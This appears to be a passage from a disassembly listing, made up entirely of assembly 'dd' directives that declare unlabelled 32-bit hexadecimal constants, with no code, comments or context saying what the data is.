		dd 9400931Eh, 8761AACFh, 1B84A485h, 78E5C7CDh, 0F94825F8h
		dd 11072C00h, 50D74128h, 0F6EC5836h, 56927B00h,	0AEFAD647h
		dd 0B900C4E6h, 40121AB0h, 3997A36h, 5D37DEC9h, 2BA8B650h
		dd 3100BA5Eh, 0FC193EA2h, 0B2906Bh, 4A89CBBDh, 59696254h
		dd 0D9EEAF02h, 0E0E261ADh, 17103Fh, 0E726B53Eh,	0DB8EB009h
		dd 18789A02h, 61C72DCDh, 0DFD85A8Eh, 0BA800A81h, 80941942h
		dd 4C0DB4FEh, 401066Fh,	0EABC2FB5h, 27605BDCh, 0D13207C3h
		dd 90E151F3h, 0B62037E2h, 94289F1Fh, 0EDE09EC0h, 55BBAEh
		dd 0E4CA60A6h, 0D9B2A48Eh, 0E6127407h, 0FE50DB8Dh, 0C499B6h
		dd 0DDD751D1h, 0C8F3B51Fh, 0C600D8B8h, 46E60517h, 0E597DA53h
		dd 1A525F4h, 135F0F19h,	0E0AD3AE3h, 0A400A8B7h,	0A376C46h
		dd 5CEE9395h, 0E8002712h, 137CEC3Dh, 86007216h,	0A46F1BA9h
		dd 35201EDh, 83A6990h, 0C4B0148Fh, 0C604D14Fh, 0BCD794E8h
		dd 49E11EC1h, 0A98C30h,	268816DDh, 0E93A0506h, 34FD4500h
		dd 92E16E0Dh, 0C2C700A0h, 0EF3BF643h, 0D5007F29h, 9785779Ah
		dd 7148D352h, 0FDD7EABh, 0EC74611Fh, 8F652B43h,	0F16E7D88h
		dd 6CC65C00h, 0F2C3B7CCh, 14B01C86h, 19B2C062h,	0C7FD8CFBh
		dd 2D68A700h, 33BE03B3h, 308F268Ah, 0C5430E42h,	28AFFC60h
		dd 0CC0062C4h, 54B151F5h, 0A5B68Ch, 5FFEF752h, 8F4CD2BBh
		dd 3A85493Bh, 91E400D7h, 280D7E71h, 316B0046h, 0FD50F783h
		dd 747A6A54h, 5C674500h, 21AA6DDBh, 0D0F20123h,	4A8175F5h
		dd 4BC0F62Bh, 82006574h, 0DF718B0Ch, 3164E3Eh, 7709DF2h
		dd 91889B41h, 8C066A48h
		dd 6F4722B4h, 66540618h, 29F31EBFh, 4532480Fh, 827701D8h
		dd 80431681h, 92CA99C3h, 72D7A5D0h, 42A30674h, 20B215A8h
		dd 0AA839F00h, 96704011h, 0F45E38CAh, 0FF273Eh,	3C7A2BA4h
		dd 5B53DFFFh, 0D002C903h, 0D1EE7976h, 64D05D93h, 0F670E9h
		dd 98E2B556h, 91856C1Bh, 9700EBEAh, 0C33BEC2Fh,	0E2326255h
		dd 2334003Fh, 0BD130851h, 48EE1647h, 1701700Fh,	0FB0C804Fh
		dd 0A75B4Ah, 62306E9Bh,	433679F7h, 944CB700h, 0D3E58740h
		dd 0D1420E18h, 8A80CB9Eh, 722E3069h, 3255B000h,	266F896Dh
		dd 9C4E0FBFh, 0C9C05464h, 4DEC56A9h, 4900B371h,	995FDDEEh
		dd 0A4FC98h, 0B7C450F2h, 4614049Fh, 0AE72FF26h,	0BE492C00h
		dd 0BBE9F5h, 3B8E428Fh,	40B88B24h, 41486A00h, 512F1AC6h
		dd 935D00AFh, 0DDD54474h, 3A00910Fh, 4BCBF915h,	0BDB70EFh
		dd 0A35C1059h, 8EB419E0h, 0B153F600h, 0EE779F05h, 11B90389h
		dd 6BD41D90h, 950738C8h, 1E14800h, 9CBA98F4h, 457F69h
		dd 4332F1C6h, 335FC19Fh, 0A99E3D00h, 86AE18DBh,	0E8C5019Ch
		dd 413670FBh, 0F723FC8Ah, 0F6DA2200h, 3252D5B2h, 69491F8Eh
		dd 7FCF82Eh, 2B71CABAh,	24FA6003h, 2F1F2CC5h, 1C81BB76h
		dd 40A8696Ah, 728FD0E4h, 0F23E074Eh, 706E3DA4h,	8ADA48C7h
		dd 0D2605600h, 259937FCh, 0FEB90027h, 50078C42h, 9600D61Eh
		dd 0C49B6EEDh, 0D63BACAh, 0F74B7AC9h, 0B0D5D011h, 0AC33D607h
		dd 67F03EF5h, 5A07FEh, 62E4723h, 0E6C1310Dh, 57D4D006h
		dd 338C5BCh, 5359D599h,	0B2A01E3Ah, 0FA02F103h,	2DD10BE3h
		dd 6544601Bh, 0F2567C53h, 0F9EE00EAh, 0DB92E724h, 4E008233h
		dd 2E573149h, 4EF815Dh,	0B82F5B66h, 0DD18C0C5h,	68F6C108h
		dd 0CDFF7305h, 0BEC1C627h, 93D04679h, 0CBE2007Ah, 0D785DAF4h
		dd 7301ED17h, 0AFD9C3Ch, 0EEE03090h, 4A563C8Eh,	0E69F5707h
		dd 2E53E077h, 6901BF2Dh, 89157D5Eh, 0B5D005FFh,	5490C5h
		dd 332D4347h, 0B0E55892h, 0EA515200h, 34B596FEh, 455F095Ah
		dd 5CA7h, 8641E57Fh, 0D6655200h, 3ABF235Bh, 547D1E21h
		dd 0CE4E1D1Fh, 9443A69Ah, 3DF03BCBh, 95002B11h,	0AD43D092h
		dd 0DD3F0D69h, 93680011h, 8D798126h, 288B9E00h,	2B776AD2h
		dd 6AD0945h, 0B3804341h, 0C30452C5h, 62941000h,	719ACB89h
		dd 6FF282h, 4665193Ch, 1D01DDD9h, 4D02AF07h, 29B007F8h
		dd 0A90CFBh, 69479657h,	0B7D484F4h, 19C92F00h, 0E2BD5DE3h
		dd 5E970074h, 9CAAFD1h,	60070679h, 4F883480h, 2F960F30h
		dd 0D78F00A2h, 0DE313A59h, 0FC07B2DAh, 9D72FE10h, 8370E810h
		dd 0D01C4898h, 0DFE2FF00h, 2492FC11h, 0FD4D6C02h, 401413E1h
		dd 465A60h, 2A875372h, 199B91A9h, 0F8CF6F26h, 0E20C9C00h
		dd 1F4641B5h, 0C055324Dh, 8FB61579h, 430473B1h,	674809DDh
		dd 6F3E6680h, 1F3BF9C6h, 0B9E8079h, 2F5C8535h, 7CDFBD00h
		dd 0F9D30C9Dh, 0D4A700E5h, 4B134553h, 0D9059EC2h, 0D12FA631h
		dd 0EBDE5440h, 4213DDh,	0D29B5982h, 7A328446h, 0AB0FAF0Eh
		dd 24A002Eh, 3A8ED79Ah,	0BC80775Dh, 0B6E980ADh,	0E00E93E6h
		dd 0DDBA3812h, 0A02AD6C0h, 235FEh, 0C6DD99F8h, 233C4D8Ah
		dd 7E39F000h, 8059F954h, 73AE0030h, 9B1AF8F3h, 0BF025CBh
		dd 0BB021F00h, 0FD8FCD57h, 0F43F00A8h, 561BE2C3h, 78286CD3h
		dd 8628E73Ah, 4105E8B9h, 4FDD147Bh, 96769980h, 2702Ah
		dd 79B81BC1h, 2C05E05Ch, 0E50E2E00h, 0D130B753h, 2876002Bh
		dd 7A52A92h, 4501A3B6h,	0EBA8A093h, 0E8414DE5h,	90C87AF7h
		dd 5E770FFDh, 9C277834h, 668DE037h, 9001788h, 9E8C9111h
		dd 381400Ch, 973973A3h,	0B7A8F7C8h, 0CE005848h,	6AEE2A2Ch
		dd 4A361Eh, 0D27B5FBEh,	0E644F48Ch, 4C76F21Ch, 5DFE4EC1h
		dd 0DD20A4CAh, 0EFB8C9h, 0C623287Dh, 77031AFBh,	541D8C07h
		dd 9F401165h, 2856FDD3h, 7EF8A9BBh, 99AA3B7Ah, 979A1480h
		dd 62BE6DB1h, 0E0F6683Dh, 2D773A10h, 0F04A00E5h, 826118E6h
		dd 1D39CA50h, 0C84480A6h, 388687B0h, 0E9C00034h, 13DBD5F8h
		dd 9FF6FF07h, 845C723Ah, 32E474AFh, 0E352F8C0h,	1B0218EDh
		dd 2EC41065h, 19495800h, 4D240A04h, 0AC725B39h,	1486006Fh
		dd 16CC6B6Dh, 9AC5129Dh, 0C94420A5h, 0BB0039E4h, 0E66B8230h
		dd 0F8E9A9C2h, 17F728C5h, 0B8230386h, 864AA3CEh, 0E4C82AF0h
		dd 7B14FE72h, 1698AA0Dh, 8040BF9Ah, 1D06241Ah, 27373E77h
		dd 0DAB6948Fh, 0E99E0260h, 0C01107Dh, 5849ADB9h, 80F647D3h
		dd 6F849FA0h, 0ED6A0094h, 13CE7D5Ah, 64E6E7FCh,	989AA100h
		dd 378041C1h, 34000AEh,	30CD69B4h, 0D7010F7Ah, 368B97A2h
		dd 5021733Fh, 18B6C9F8h, 0E89C13D1h, 0C1F41B23h, 4E419000h
		dd 0F3DC68ADh, 0FE0200E6h, 0CD7A1D3Ch, 0B004B17h, 92FF5F5Bh
		dd 0B8DF2B40h, 0EAA600C7h, 8F7611D6h, 5902862Dh, 43622F8Eh
		dd 6BFA6001h, 52BB4CF4h, 0A1BF0071h, 61B7D8D3h,	0F8007F92h
		dd 0D14BD4C9h, 1C111E6Dh, 80CBA145h, 6B2615E0h,	0BAF21B28h
		dd 44618F00h, 0D7AD8D84h, 0F55E3F96h, 5C971402h, 440D01Ah
		dd 9A00FFF9h, 0CDF8BF12h, 3A71F3DFh, 6A058ABCh,	80198ED3h
		dd 769F9D47h, 0E4BA9201h, 55950B8Ch, 77CDC40h, 0A45A01E2h
		dd 799089FBh, 0C8BC40EDh, 8E3AB594h, 0BB7580E5h, 57F86120h
		dd 0E671F4DBh, 0BD083760h, 0EECD3018h, 53003BCFh, 1C5EF774h
		dd 117EECh, 0DE0B63BEh,	2E602758h, 0A417AC00h, 9871D15Dh
		dd 0D99F1F89h, 0E26EC006h, 1B2BE713h, 2601700h,	787B7FAEh
		dd 64D709D1h, 5483B450h, 0FB886232h, 0FD030F07h, 0A7261B24h
		dd 880EDB69h, 2625E765h, 1740A336h, 2960017h, 8A110306h
		dd 63206900h, 848380A9h, 0A53E1E96h, 0B86800AAh, 0CFC8F7C7h
		dd 404A8B00h, 2749F58Dh, 0B00300BDh, 823598E6h,	2D48FB72h
		dd 6FDE1468h, 80B93D80h, 2A4FE0D3h, 620E2Bh, 0A8886769h
		dd 36C45AF0h, 26C120Eh,	3B956031h, 7C23044h, 472A748Eh
		dd 75A11E5Bh, 446D932Ch, 5090D7A4h, 0E19BB5CFh,	8C081F00h
		dd 2388A4Ah, 9F7448h, 3F451D03h, 84AC1551h, 0DF5B5F00h
		dd 7A3DD92Ah, 330E008Ch, 0F6DE408Dh, 0B300548Eh, 0B4BBDA3Eh
		dd 3555336h, 8468897Fh,	0B1A8A0ADh, 2E0099B8h, 0B9CB65FEh
		dd 162BD429h, 7FDF718h,	305F45F7h, 0BB4694B3h, 0FA87F17h
		dd 733305EFh, 83588132h, 2703C87Eh, 0CDEE1E07h,	71444C9h
		dd 3FAE70C0h, 37B900DAh, 82BB6B69h, 1C38EBA0h, 0B3A800CBh
		dd 0DC361843h, 542F0EDDh, 0C6807966h, 4A02F12Ah, 420D6A00h
		dd 6895AFCCh, 0B386007Bh, 9D01CFD9h, 0EC00FB0Bh, 0CEE1BB6h
		dd 0D09F7Eh, 0F09E1906h, 6308E866h, 5BB22D01h, 5688857h
		dd 1F6CE4h, 0B975E970h,	0A198A9B7h, 7BBF4400h, 1B54CB03h
		dd 0F176003Ah, 8D6D9FF5h, 49E2F4E9h, 44D0C00h, 33318363h
		dd 1D4B1282h, 0E04002Ch, 0EF9659B8h, 155932FEh,	0FD3D000Ch
		dd 75E6ED42h, 0A25B0077h, 0F63ABBD3h, 0BA00AA5Ah, 1CB27115h
		dd 0FA85F8D2h, 52DA258Eh, 29004956h, 0C6AADC20h, 0EA644CF7h
		dd 869E8100h, 309B2ECAh, 6D11E000h, 4A7E1A35h, 49400023h
		dd 5E4D0417h, 0A40007BBh, 3C519A91h, 3DD0F4E8h,	6D00CD85h
		dd 8AE2AAB0h, 3EE46F55h, 0EE1C7CF0h, 4900698Dh,	285C1DD9h
		dd 8A090018h, 0D43129D3h, 0B0F570Ch, 4026AAB9h,	89B02C3Fh
		dd 83A40B52h, 1400CA5Eh, 77F86CA8h, 16EC280Fh, 0C1E9E0C5h
		dd 3966C326h, 1003D7Dh
		dd 2B9A071Eh, 4C1F8239h, 0F2C06A1Ah, 0BFE1055Ah, 59CF008Ah
		dd 8B5B049Eh, 66006309h, 8260AE19h, 38DA6E40h, 5F829C50h
		dd 0BC6A72F1h, 3900A86Ch, 1278CF0h, 1C28F4h, 1E6FF1C5h
		dd 0B545C9E8h, 80A25300h, 5271B431h, 0A8EA5C25h, 0D9674A00h
		dd 7AD894F5h, 20E62B03h, 97E3967Dh, 0B0471053h,	9879BA17h
		dd 76C200E4h, 0DAB7248Ch, 632E5005h, 9F814438h,	51AE2B23h
		dd 7228BAh, 0CB4B0890h,	7D22A7CAh, 0B5B7FCC1h, 6EFC1B16h
		dd 49990748h, 3F97DE46h, 0AA0E08C0h, 0C48C531h,	0BE077FF7h
		dd 0EAA29347h, 9EC94CE0h, 392274E8h, 3D0046B7h,	0E6DC5BD5h
		dd 800107ADh, 6512F026h, 0CAF8F939h, 0EFB5056Eh, 28DE8Ch
		dd 87B23EC7h, 0D51EFB65h, 0CF801B73h, 104A861h,	0F26000BCh
		dd 3949A3F3h, 2616F1D5h, 8C405C0Ch, 4E7488C9h, 34096CCh
		dd 6F950704h, 94980680h, 6400F77Fh, 62C53D09h, 180EACh
		dd 0E04CBFF4h, 2D608FC0h, 1369BC00h, 0F21231D5h, 0A2C224B1h
		dd 6E96801Ch, 0CCB3C47h, 181F724Ah, 0A600F326h,	0FEA222A8h
		dd 0C1F99877h, 0C6A00E30h, 9E266172h, 0AB025011h, 802B3643h
		dd 0AF0415D7h, 2F8C005Ch, 7995DEF9h, 0A4040E69h, 0FCBF7801h
		dd 0C600D897h, 31A3BAB1h, 3E89BA6h, 347320B9h, 448D6900h
		dd 615E46BEh, 87140EA6h, 0D1A1F5A3h, 0EB2765ACh, 0F21BA800h
		dd 198F25A2h, 979D3A3Ah, 670B260Ah, 6CAE0064h, 56D1CD5Ah
		dd 0E7FFC703h, 0FBC80903h, 0D09DB8DCh, 7BE661h,	96C6FAB7h
		dd 9E7DDE45h, 81D21000h, 382A13EFh, 769A00B5h, 26DD410Fh
		dd 0AB0093C0h, 0BAFBC785h, 24A11A3Bh, 4BD3AE7h,	0C09B4AE2h
		dd 40B42BBBh, 0F81CD80Eh, 24F7805Fh, 321FAF5h, 6B9CF4ABh
		dd 17B249D6h, 523AC4A0h, 400E18Bh, 38B560D7h, 69E1A6Fh
		dd 0AEDB7384h, 0D617293Dh, 0F1008ABAh, 0C0489B2Dh, 0F0160FFFh
		dd 91609244h, 620FB435h, 1FFD2401h, 680B9099h, 4085B721h
		dd 0C0B9EF37h, 5B89CDB5h, 0D6864305h, 9847AE90h, 60E0A0A5h
		dd 349797Ah, 4CADF148h,	30DFC7BCh, 0B5D144B7h, 0E8AC3Eh
		dd 0F77D6D7Ch, 94D689B3h, 0CBFA0030h, 4CC5A06Fh, 94FA6AB8h
		dd 970E400h, 6872336Ah,	231400ACh, 0B92AC571h, 77B0FE26h
		dd 0BD500B12h, 6EC96900h, 17BF218h, 5B232751h, 30B09FCEh
		dd 4628C481h, 0C100DB96h, 0D1CB3D22h, 631F6D86h, 18ADC189h
		dd 9467C900h, 0E6BE4A95h, 0FE57F04Dh, 2E0600EBh, 24741269h
		dd 0A0718D7Ch, 0FC027D00h, 1959728h, 77867806h,	6E9B00F5h
		dd 26A29EBAh, 570EF959h, 405CBE6Dh, 9CF1FF52h, 43A0149Fh
		dd 0DA22141Eh, 28940200h, 191093EFh, 0DCEE3D0Ch, 474F2301h
		dd 0C4ECED7Dh, 0E300F234h, 86653111h, 1E646E48h, 41544FCFh
		dd 2E5546CDh, 0EC16E1C4h, 200089C2h, 0B07C9B1Bh, 6D19EAh
		dd 0A26EDC30h, 81A0E19Ah, 8F8EF207h, 0F7707892h, 0EE70841h
		dd 3C18336Eh, 0ED28F0A0h, 0EA01B722h, 57E563AFh, 0F7D0CCECh
		dd 260C1CEh, 0EC7CDA24h, 0B30F795Fh, 9FE73C7h, 0C0E90037h
		dd 78571h, 9260A946h, 0B6530995h, 0EA4B6100h, 7F1503F6h
		dd 0E8D00B1h, 0A0EE5BFAh, 47032FB7h, 3796A259h,	660000Fh
		dd 141DAE15h, 5C0042A4h, 0B3C92B58h, 0E26EA353h, 0AF310030h
		dd 7CFB447Fh, 7A006F0Ch, 0ED826145h, 7A61FD0h, 6BDAA7D6h
		dd 0F338D3F0h, 119F9112h, 4EBE00BBh, 32B24ABDh,	6B5CA100h
		dd 91E0676Eh, 5550250h,	9365033Dh, 4E107AC0h, 0E6462900h
		dd 0CBEDC84Bh, 0E0B00AEh, 0A20F8AE9h, 0A9247F31h, 0AF1310ECh
		dd 0A3BB01AEh, 0D1B9FD18h, 8EAAE03Dh, 0EB1E700h, 0A982E1Fh
		dd 92DC078Bh, 0D02D6D53h, 9014D55Bh, 15E0F800h,	89752393h
		dd 5672394Eh, 5A26D8BFh, 8D0C04DDh, 83B780D2h, 0E0063CDh
		dd 0A1C273B0h, 0DB02CBh, 85361170h, 0AEDA69Eh, 4520180Fh
		dd 44740066h, 39E3226Dh, 3D00C4EEh, 7C19A536h, 7100A4A7h
		dd 3498E0Fh, 1501006h, 25EA7E11h, 0FC9D3590h, 9600E636h
		dd 3815F40Bh, 455451h, 5906420h, 0BA9403BDh, 3CAEE617h
		dd 177DC505h, 66E37A80h, 90130044h, 70C86F75h, 62264B1Fh
		dd 0D11CF071h, 831882C0h, 8A46D2h, 1444D884h, 0DFF605A9h
		dd 54F93100h, 9A6B5B24h, 6C1E483Bh, 0C1F4B000h,	22B4B68Eh
		dd 447C5707h, 0FF404FFDh, 9C4C2Ah, 270D1472h, 1EAEB05Ah
		dd 3B30AC0Eh, 7DFCC1BEh, 48BE1D31h, 1FC0B317h, 7F2480D8h
		dd 36AA2B4Bh, 2CBE3200h, 0EBB988A2h, 0C51D01B8h, 355420C8h
		dd 55D0F318h, 0BE029E2Fh, 0D08872ECh, 3AFC8051h, 2FC5901h
		dd 573D9F18h, 64427A44h, 0B0CDF707h, 1ECA61E8h,	8AAA4Ch
		dd 2330F728h, 772A6DAh,	7A06A708h, 8E17B1D3h, 1F9AC438h
		dd 0F83B4800h, 4B70FBCBh, 5E9C000Dh, 0FC8995A3h, 0F4007D46h
		dd 0EAC58365h, 118F061h, 2CBB0602h, 0C37FEB69h,	363A8406h
		dd 9D6B12Eh, 99C5A36Fh,	0D310AD0Ch, 0B400547Dh,	0F838CF3Eh
		dd 2690A255h, 6C85E4h, 8BB68867h, 0F9F3AAF2h, 665D7029h
		dd 918AB407h, 28D0D28Eh, 0F5E1E6h, 0FBCA055Eh, 9ECDB623h
		dd 8371A300h, 0C8192086h, 0D3E9009Ch, 456F7A5Bh, 0AD1F74E2h
		dd 41D7BC1h, 1AF320Fh, 0F22324C3h, 0C4B4C0h, 6DC6147Ah
		dd 79CC52FFh, 0E91DF500h, 381027Eh, 0C642D59h, 4209AD58h
		dd 83EBCB86h, 0F8FB3A64h, 688E0F2h, 0C957C204h,	56099810h
		dd 0A0184F33h, 439BF78h, 118F609Ah, 812C543Eh, 3B567C00h
		dd 0A5ABA38Eh, 0F7830ABBh, 3AE40180h, 44B5E49Eh, 0C0A31D3Dh
		dd 9B4B6D78h, 7F4C4700h, 741BACC3h, 0E769004Ah,	2DB92202h
		dd 290013A1h, 39C9A607h, 0E46BBFACh, 1FD6002Eh,	5B619909h
		dd 0F103B1C3h, 0CFB51992h, 5184983Bh, 4AD600CEh, 0BB7BAE9Dh
		dd 10FCBBDh, 2BA84CFAh,	0A3658269h, 0CA79C063h,	0C5240005h
		dd 4006233Fh, 0DF00EF64h, 0BD0461C0h, 0E93D8Ah,	0FFCC68E1h
		dd 271893D2h, 33C44012h, 0D4ABD400h, 152AFE6h, 0ADCC0E5Eh
		dd 0D8E3141Ch, 0B0EE3F87h, 0B3042C00h, 26864C62h, 2F310046h
		dd 16859123h, 2C748CF9h, 283EE3Ch, 0C48998D8h, 71BC0045h
		dd 0C07E98Eh, 8B4402C9h, 2AA8EAB0h, 142E7C74h, 0A44016AEh
		dd 0ABDA12h, 4C9DF59Ch,	48007BB8h, 9F98490Bh, 354AEB5h
		dd 0F5C1A922h, 35A75528h, 0C0DC5C30h, 0EB622976h, 0D41F156Ch
		dd 0B0C0A1BBh, 0EFCBB230h, 2AA600AFh, 2610EE58h, 0FE006DFAh
		dd 0E853F346h, 0EE75C1Ch, 2E8C6141h, 3E20642Eh,	0C4B10B36h
		dd 0DA26C907h, 170F3AEh, 7F9009h, 3E5E45D9h, 0C10BD81Dh
		dd 26F1B301h, 0E80C396Dh, 3C9E30h, 4A24C419h, 1B87EA02h
		dd 9F7DA490h, 0EFB68404h, 94903810h, 0E0557368h, 7F3D011Ah
		dd 59DF92F2h, 318ACD3Ch, 0A9D1C0D0h, 7EA6BB24h,	50AD200h
		dd 141131E2h, 97464364h, 69488403h, 0F6F8B8ABh,	830041D8h
		dd 0EBF3F4AAh, 12D55Ah,	5F92E6D6h, 0A74F9709h, 340E0898h
		dd 0CFF5FCDDh, 8D2E40EEh, 1D9AB9Ah, 3D093BEDh, 0C02FD377h
		dd 8AB0324Ah, 27A0A90Fh, 9A9F001Ch, 0F6890B15h,	882900A6h
		dd 5C51808Ah, 12004885h, 9A1125D4h, 1F1791FCh, 0DD631BA6h
		dd 0EB4C0077h, 428B02D1h, 0C9D71100h, 0AACA0A1Eh, 0E57D7E79h
		dd 0C21F5F8h, 0E5AB15F3h, 0A300DB70h, 0DA7258D2h, 770593h
		dd 0FB3E477Ch, 18F4EC2Ah, 23334800h, 5C55721Ah,	3AE4038Ch
		dd 0C287F8Fh, 0F6977BB8h, 9E072D01h, 0ADBA3942h, 20E43ED0h
		dd 9F3BA95Dh, 0ECEEAE2Ah
		dd 90331C82h, 0CAEBC079h, 3220F9DDh, 43BA0049h,	57853012h
		dd 5F000D6Bh, 1C80C123h, 0CEA9ABh, 0DE9101D9h, 10F4EA76h
		dd 0B248DA01h, 90310DE9h, 461C1981h, 0F842AFBAh, 40A85FE4h
		dd 10E9331Eh, 0A0799103h, 28CCC9B7h, 14ACB3h, 0FAA142A2h
		dd 2163A657h, 1DFD6800h, 31F60D03h, 0E76B0056h,	4A5D9F73h
		dd 0C9004E8Eh, 3F7AFF32h, 3C7C1DDh, 17E7C69Eh, 0D6E0D9E6h
		dd 0B005258Dh, 0A146E0D2h, 3F308040h, 0F3B2B61h, 0AC68D316h
		dd 0EAE28BA0h, 0B2011870h, 690A5C95h, 473034F8h, 0C9C218F5h
		dd 5668A0F4h, 8AAFFA00h, 3B453998h, 81BB0031h, 0BA029072h
		dd 7100AABDh, 7FF12A56h, 2A8CDDB8h, 0FC6F98h, 0A96DC7F0h
		dd 3EA37206h, 0D52CE03h, 8815D005h, 0FAAFC92Ah,	2C2800A0h
		dd 0BB75D319h, 0B21D7CCCh, 0D280F97Ah, 14410D4Eh, 0A93700EBh
		dd 9968F70Ch, 71316B88h, 0E44DC028h, 3D9C1CCh, 60D23353h
		dd 0C400DE3Dh, 6770EF68h, 18C8ECB0h, 989E0974h,	5C00B214h
		dd 0D62332AEh, 155298DAh, 0D85367C8h, 94599A3Dh, 4DD8C900h
		dd 85AEC41h, 0CBF0DC00h, 9DA7E668h, 0A0A200EDh,	16260258h
		dd 5D13A8C0h, 0EA7BE9h,	0EC9CFBA8h, 0B03847Eh, 0F6DBB128h
		dd 8C34A09Bh, 0DF900626h, 81AA793h, 0B6213660h,	71EA3408h
		dd 0C4E0B0h, 53624530h,	9E87C8B7h, 86EE000h, 0BA523D9Dh
		dd 0CB27C01h, 8123865Dh, 0D2F2F918h, 1C301761h,	7EE09195h
		dd 567828CEh, 23DA2010h, 0B141E0B5h, 3014E8E1h,	0FB11F439h
		dd 2A01C48Ah, 7E87C77Dh, 88CDF76h, 9A20FA8Fh, 54624917h
		dd 528C5006h, 18910058h, 0C8BAA75Dh, 0C22AF6E2h, 9402283Ah
		dd 777EDCC4h, 0C800168Ah, 3372625Ah, 2E786ED9h,	2427AFh
		dd 6DC09E93h, 2C505587h, 1F541E90h, 0D40EDA94h,	7664B0h
		dd 0EC1AD563h, 732A3CD1h, 7209ECD0h, 309D76C7h,	1250E313h
		dd 1570F002h, 0F93C2300h, 0EEBF8404h, 53B0D0h, 85D3264Ah
		dd 9633186Fh, 0FFA81F00h, 0AFF12E1Bh, 0AE27009Dh, 57F7C28Dh
		dd 71D88A7h, 2C40E0C5h,	0F9B4FF90h, 0F8010056h,	0D696514Fh
		dd 85013112h, 5802CFC3h, 5FF4B91Bh, 70A00084h, 52DC397Ah
		dd 0E87D61F1h, 8FC2E200h, 389858E7h, 23730057h,	0F771AB76h
		dd 8E0013BFh, 60E0FD4Bh, 66288Fh, 8B196E6Ch, 0F2ACEE56h
		dd 8A49F8F1h, 600B3F8h,	7DAD7F26h, 194F6895h, 83F2856h
		dd 6D21844Ch, 0A4C7A447h, 0A7535040h, 0DC4F00CBh, 8F77B254h
		dd 6A00E9A8h, 0A957402Dh, 1F89DD8Ah, 9F155652h,	18B75826h
		dd 50C08E45h, 0B358768h, 108860AAh, 5E538F26h, 21BF820Eh
		dd 1FF8E7E4h, 863943h, 537AAB20h, 98AE24DDh, 1200CA7Ch
		dd 3DF1C9BDh, 30C38EFh,	21E405EDh, 0B0605263h, 0F70F9538h
		dd 0C0BEFCA3h, 78AB1368h, 5513CF19h, 0E9188054h, 0C0AC9908h
		dd 77D58A20h, 7C0C663Fh, 39E3EC5Eh, 7AF40001h, 0FE690989h
		dd 8C0547CAh, 0ABA8F281h, 0C0D4A408h, 95D1B11Bh, 0DF224846h
		dd 0A443A100h, 8EC52C76h, 0BDEC0F39h, 0C92390C0h, 0B800033Ah
		dd 473B7F81h, 4C9D73CBh, 200C2382h, 3A71A974h, 189E221h
		dd 9557B119h, 88DE1818h, 0A47C42C7h, 0EC4BE800h, 6BC5493Eh
		dd 3DE409h, 0EA29ACF0h,	46C825Bh, 8505EF00h, 2FBEEEF5h
		dd 0FECF451h, 881B903Fh, 459B960h, 0FD019319h, 1423F0BEh
		dd 7BD4F9B5h, 80810046h, 66CE863Ch, 682CAA79h, 57037A96h
		dd 9046E5E0h, 0F4313Fh,	0EBD43E8Bh, 161274F3h, 1AD70900h
		dd 0AB0AE3C6h, 0B49E00FEh, 39371F3Dh, 1B00A08Ah, 67993577h
		dd 1E98D1h, 0FE08D823h,	388A178Bh, 2D94A000h, 985B23Ch
		dd 78110055h, 0E1CA6D7h, 7700A50Fh, 1E32E522h, 71FCC5ABh
		dd 8B5D03DFh, 0D4CDA0BCh, 9BC4B498h, 28152730h,	0DD1AADh
		dd 21E1AE46h, 5A025B1Ch, 67A6902h, 6053ACD9h, 13486AFh
		dd 855D7F04h, 0E0683FDCh, 670FE99Ch, 807EFAA8h,	0BCA7700Eh
		dd 13790E88h, 6A40E5DCh, 4218FF02h, 6F86321Eh, 0FB9BAF03h
		dd 0FA93C0E4h, 0F38D0F10h, 1757E5h, 99D65E0Ch, 1F075FDEh
		dd 0F1DB17ECh, 0A680D3D7h, 0BFE04FFh, 703AA8F5h, 416B1900h
		dd 783A60EAh, 0CCA1004Dh, 75B2BCDEh, 5AAE00F5h,	0D722D3FDh
		dd 6900EDA8h, 0F06C5C66h, 36BF1D1h, 0F2EB2387h,	73D05FAAh
		dd 0C10C665Ah, 10130208h, 6CC4074Eh, 0CE8B353Ch, 5A3E405Eh
		dd 3B38A017h, 65D5A91Bh, 0DA3F9028h, 0A48000F1h, 2F3AF3F4h
		dd 0BB007B35h, 2446D965h, 0FF259021h, 0FB1F30h,	7981B0E9h
		dd 0D4EB8256h, 0AD4AAF00h, 6F8B1B47h, 0CBC80796h, 40F88748h
		dd 0A7B7F949h, 0F404FD07h, 8457F07Eh, 9250BE80h, 73EF0EFFh
		dd 5D008D4Fh, 287201C5h, 76222D00h, 0C98EA931h,	0DB7CF8h
		dd 0C24EDF41h, 18BC62C0h, 0FBBDAA00h, 0A1AFF337h, 27DD03C3h
		dd 63500FF2h, 22352000h, 2F1AF8ECh, 40170071h, 9AD58481h
		dd 2502D865h, 6A9BFADBh, 17B6095h, 0D30B19DFh, 194B6817h
		dd 0F4F683D6h, 0DC6030D7h, 0BA3AA269h, 62341800h, 7D519DECh
		dd 0BCB700E8h, 0BE888A23h, 8D3FFBC4h, 1A05804Ch, 0DC9F34ADh
		dd 8AA1C975h, 21BDCF80h, 1400DE92h, 0C6BA185h, 0FFFAC75h
		dd 0CC3579EDh, 0B48E581h, 2E62F0DAh, 0E1BC51h, 0D6C95D88h
		dd 6A1820C6h, 667538h, 0AB2F57FBh, 0DF0826E2h, 0D8EFC901h
		dd 0AC8BF27Bh, 19A3D70h, 0D1B34173h, 0C46B9B91h, 0E2007F11h
		dd 0C2151B06h, 4B174A6h, 0F34FAC23h, 77328083h,	0D00F3644h
		dd 80C0EC0Fh, 1DB37384h, 0EDA20001h, 0FA684D5Dh, 6E0056E9h
		dd 0F7B79143h, 3F7CA647h, 0F848A880h, 854CCD09h, 20736C00h
		dd 5C00C0FAh, 359B4D10h, 0A9F529h, 721ACC83h, 907E0FCEh
		dd 0FAC55F1Dh, 0B6EDAC00h, 3D3E2BBCh, 14792723h, 0F32FCFF7h
		dd 7D79C80Eh, 44FF14E0h, 8C68B58h, 0F620D1C7h, 627A03A1h
		dd 760DAD67h, 0D6C595F8h, 325D303h, 0C849D19Fh,	675896h
		dd 1F053B54h, 1EF4BC2Bh, 5531DD03h, 0A01A9832h,	9B82FD0h
		dd 0BB95E40h, 6AD4DC00h, 0A6E8845Dh, 7E205660h,	3B175E87h
		dd 0EBFC4F57h, 0C3543880h, 3E2ADAA9h, 3F9D80Fh,	6C2283DCh
		dd 2E53F115h, 186135F3h, 439384E0h, 0F87A9970h,	0CFEBCB9h
		dd 1731C041h, 79F5A332h, 0DAD11F00h, 0E52B28C7h, 0BA450092h
		dd 0D5B50E43h, 3F60E326h, 0F8603668h, 22030702h, 8733B36Fh
